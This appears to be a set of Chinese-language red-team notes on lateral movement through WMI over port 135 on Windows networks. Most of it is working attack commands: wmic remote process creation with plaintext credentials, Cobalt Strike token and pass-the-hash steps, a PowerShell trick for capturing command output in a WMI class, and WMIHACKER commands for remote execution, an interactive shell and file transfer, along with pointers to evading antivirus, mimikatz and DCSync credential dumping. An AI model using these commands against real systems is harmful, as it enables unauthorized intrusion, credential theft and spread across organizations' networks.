WMI

如果内网中有windows机器只开放了135端口,可通过wmi进行执行

是什么

windows在Powershell还没有发布的时候,微软用来管理windows系统的重要的数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用DCOM(TCP端口135)或WinRM协议(SOAP-端口5985)

前提

拥有对方凭证

利用

  1. wmic /node:10.211.55.1 /user:administrator /password:Password!@ process call create "cmd.exe /c ipconfig >C:\ipconfig.txt"

在CS中如果有令牌或pth可以不用帐号密码

  1. make_token administrator <password>
  2. # pth administrator <hash>
  3. wmic /node:<IP> process call create "cmd.exe /c ipconfig >C:\ipconfig.txt"

如何做到回显

  1. WMIcmd

    1. WMIcmd.exe -h 192.168.77.171 -d WIN-887RATLMALI -u administrator -p 123456 -c whoami
  2. 建立连接后

type查看
但是在目标不开放445端口的情况下不可用

WMIcmd回显原理

将执行结果插入了注册表,然后再读取注册表的值来完成,不依赖445的回显

也可以新建一个wmi类来存储结果,再去读取其中的值,这样就不用直接对注册表进行操作,也能实现不依赖445的端口

  1. 存储

    1. $StaticClass=New-Object Management.ManagementClass('root\cimv2',$null,$null)
    2. $StaticClass.Name ="Win32_Command"
    3. $StaticClass.Properties.Add('Command',$Payload)
    4. $StaticClass.Put()
  2. 读取

    1. $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

    工具

    WMIHACKER

    通过135端口进行横向移动,并具有免杀性质

命令回显

  1. cscript WMIHACKER_0.6.vbs /cmd 10.211.55.1 administrator "Password!@" "ipconfig" 1

无命令回显

  1. cscript WMIHACKER_0.6.vbs /cmd 10.211.55.1 administrator "Password!@" "systeminfo > c:\1.txt" 0

交互式shell

  1. cscript WMIHACKER_0.6.vbs /shell 10.211.55.1 administrator "Password!@"

文件上传

  1. cscript WMIHACKER_0.6.vbs /upload 10.211.55.1 administrator "Password!@" "c:\windows\system32\calc.exe" "c:\calc.exe"

文件下载

  1. cscript WMIHACKER_0.6.vbs /download 10.211.55.1 administrator "Password!@" "c:\calc.exe" "c:\windows\system32\calc.exe"

支持PTH

但属于没搞懂vbs 只知道administrator和password!@换成- 然后结合mimikatz的pth就能实现WMI的PTH了

实战

一般可以把流量代理出来,用impacket就行
image.png

image.png
如果具有dcsync权限,dump出整个域密码以后,可以进行横向